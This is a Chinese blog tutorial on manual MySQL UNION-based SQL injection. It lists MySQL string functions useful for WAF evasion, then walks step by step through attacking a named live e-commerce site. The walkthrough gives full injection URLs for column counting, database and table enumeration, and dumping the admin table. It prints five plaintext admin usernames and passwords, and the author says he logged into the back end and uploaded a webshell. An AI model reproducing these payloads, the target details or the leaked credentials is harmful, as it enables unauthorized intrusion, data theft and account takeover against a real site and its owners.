mysql union查询_Mysql 手工注入【常规 Union 查询篇】

b196bca2f2208291bc3969186906676b.gif

文章来源于:lsh4ck's Blog

在开始真正的注入技巧之前,我们先来大致回顾下必要的 mysql 数据库基础

下面是注入 Mysql 时经常会用到的一些单行函数,熟练使用是灵活注入的前提,尤其是在对抗一些 Waf 的时候

字符串连接函数,将多个字符串连接成一个字符串,注意,中间只要字符串有一个为空,最后结果也为空

9bb52fcb037ea0ffddc0abd7255ef5c4.png

同样是连接多个字符串,但可以在开头指定分隔符,跟 concat()稍微不同,它会自动忽略中间的空值,只有分隔符为空,整体才返回空

c9238c60eb21764c0c455fb2a6ba9e1c.png

利用分组的方式连接所有字符串,通俗点儿讲,其实就是把某个字段下的所有数据全部连接成一个字符串,注意有长度限制,默认1024

1592397bd928e218b1f1887dd0afb237.png

截取指定字符串,注意在 mysql 中的所有字符串截取操作[除了 limit],默认都是从 1 开始的,并非像代码中的数组是从 0 开始的

091934703bc0d7d5d6284077413c4665.png

截取指定字符串,具体用法基本同 substring()

9ac4a9ac2545977497d6ec8870832176.png

mysql 专有的字符串截取,也就是说只有在 mysql 中有,mssql 和 oracle 以及 pgsql 中都没有

250656accad6feb9e756d239bc1ebf94.png

从左往右截取 3 个字符,左截取

e7154956cd97b74c4a45cde599249a0e.png

从右往左截取 3 个字符,右截取

e1077016d5679fa4f3c299f5bfba3ca2.png

返回一个字符串在另一个字符串中第一次出现的位置,可尝试配合上面的字符串截取函数在读取文件时用

fdc77e56b3ca7b751c275cd2eac26664.png

返回指定的 ASCII 码字符所对应的数值,下面的 ord()用法基本也是一致的

4ffe157e3443474aad7fe87c5408ab7a.png

把指定的数字转换成对应的 ASCII 码字符,n 久以前 bypasswaf 的惯用招数,各类编码绕过 waf 也是最常见的一种方式

decca8c502ff6fa93ed91679946f864f.png

b33370cea72b4c6c3c26c9c19928bc06.png

477425f5196211b9464e8d9deaaef7a0.png

dc106b126cd4ee8cdbb61b13ab4d22c5.png

下面是现场随便找的一个实例站点,来简单演示下关于利用 Union 进行注入的完整流程

一个小商城站,最终目的,拿到管理员账号密码,登进后台,上传自己的 webshell,下面是注入点和后台入口:

https://purply.in/product-detail.php?pid=1368

https://purply.in/admin/pages/login.php

首先,先来判断下到底是不是存在注入,其实有些你感觉是的,可能它并不是,我们看到这个的例子就是个典型的数字型,判断的方法就很简单了,因为是数字,根本不需要闭合,直接把后面的语句注释掉即可,具体流程如下:

https://purply.in/product-detail.php?pid=1368  页面正常返回时是这样的

b803a2524f7fd93c4eb1f7e26652ac8b.png

https://purply.in/product-detail.php?pid=1368\ 尝试用\干扰pid时页面返回异常,一般这种情况,心里差不就有底了,继续

51f00d1b15f30a5f82a7ca4ebffbf5b3.png

当我们确认目标确实存在注入以后,就可以开始正常的数据查询过程了

https://purply.in/product-detail.php?pid=1368 order by 32 -- - 先确定字段个数,我们看到,为 32 时页面数据返回正常

77b213a595d569c196df2c50c324d133.png

https://purply.in/product-detail.php?pid=1368 order by 33 -- - 字段为33个时,页面返回错误,说明字段总个数为32

ff881dec25d75f8402e566873b803365.png

https://purply.in/product-detail.php?pid=-1368 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 -- - 有了确切的字段个数,我们就可以利用 union 把对应的数据显示位都给爆出来,注意,因为这里是 mysql,所以我的是数字,如果是 mssql 或者 oracel,再或者是 pgsql,数字可能就不行了,你可能需要用 null 来代替数字,因为 union 要求前后查询的语句必须保证数据类型和个数完全一致,不然就会报错

6df81bc7f74507094aa85f5fb6dd9c5b.png

https://purply.in/product-detail.php?pid=-1368 +UNION+ALL+SELECT+1,2,database(),4,version(),user(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 -- - 现在显示位有了,我们就可以正常的查各种数据了,首先,先搜集好各种数据库信息

b294bed1f6d0ec6e1f1a96ee7169b321.png

https://purply.in/product-detail.php?pid=-1368 +UNION+ALL+SELECT+1,2,@@datadir,4,@@basedir,@@version_compile_os,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 -- - 从搜集的信息来看,目标是 linux 机器,普通数据库用户权限,路径信息如下

c2cd8fcce62a30ca3c97e5f4b912350e.png

https://purply.in/product-detail.php?pid=-1368 +UNION+ALL+SELECT+1,2,@@datadir,4,@@basedir,@@hostname,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 -- - 从 hostname 里我们看到,这又是台虚拟机

c0f2d0a7c16b145004dcffae981263a3.png

https://purply.in/product-detail.php?pid=-1368 +UNION+ALL+SELECT+1,2,@@datadir,4,group_concat(schema_name,' | '),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 from information_schema.schemata -- - 我们看到当前数据库用户有权限看到的只有这两个库,其实,只有一个有用,继续找管理表

8660ac2e0216df02f57a31fe69fe5397.png

https://purply.in/product-detail.php?pid=-1368 +UNION+ALL+SELECT+1,2,@@datadir,4,group_concat(table_name,'| '),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32frominformation_schema.tables where table_schema=0x64625f707572706c79-- -

很显然,’purply_admin’很可能就是我们要的管理表,继续查管理表的所有字段名,注意后面的数据库名,实际中最好 16 进制编码下

4f145b3a795078785ee7d979f410460a.png

https://purply.in/product-detail.php?pid=-1368 +UNION+ALL+SELECT+1,2,@@datadir,4,group_concat(column_name,'| '),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32from information_schema.columns where table_name=0x707572706c795f61646d696e-- - 

管理表有了,字段名也有了,剩下的就是把账号密码查出来,今天的注入常规 union 注入方法就可以收工了,注意,这里的表名最还是编码下

2a88039efde3a5b4102471353f6d4028.png

https://purply.in/product-detail.php?pid=-1368 +UNION+ALL+SELECT+1,2,admin_username,4,admin_password,admin_type,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 from purply_admin limit 4,1 

-- - 其实,我在遍历到第四条数据的时候看到了 admin,然后就理所当然的以为是他们的管理员,但其实,这只是其中一个权限很低的管理员,这也是进后台以后才发现的,有些操作坐不了,在后台入口就可以看到,你要选择对应的用户类型登陆,’superman’才是真正的超级管理员,它对应的实际用户是’ purply’,至于进去以后的事情就很简单了,果断传了 webshell 连之

39fd9345eb6574cf04637bcf21af70f9.png

后台所有用户的账号密码如下,可以看到,直接明文,先不说程序员的代码写的有多烂,起码的意识都没有

purply           purply@2*16     | 1

purplybanjara   banjara2016     | 3

operations       purply2016     | 4

photo.shoot      pr0duct52016   | 2

admin            purply2016      | 5

下面是我用 ‘admin’账号实际登进去的效果,也是进去之后才发现,有很多东西这个用户是看不到也没权限操作的

3cf5ce38da40270d858c4d2f4b8e22c3.png

b63bf8a0b0ecce552a644189afc37cac.png

‘Purply’ 后来发现这个用户才是真正的管理员,登陆以后的效果,如下

8be8dccd8552ae504a5ad19f25211b4c.png

9dec77bcc6438a6ed66132ace6b4a3a6.png

你可能喜欢

手把手注入门之手注过程

我的WafBypass之道(SQL注入篇)

burp结合sqlmap进行后台登录框post注入

070e3116f66b7157361f20de76b2c0d6.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值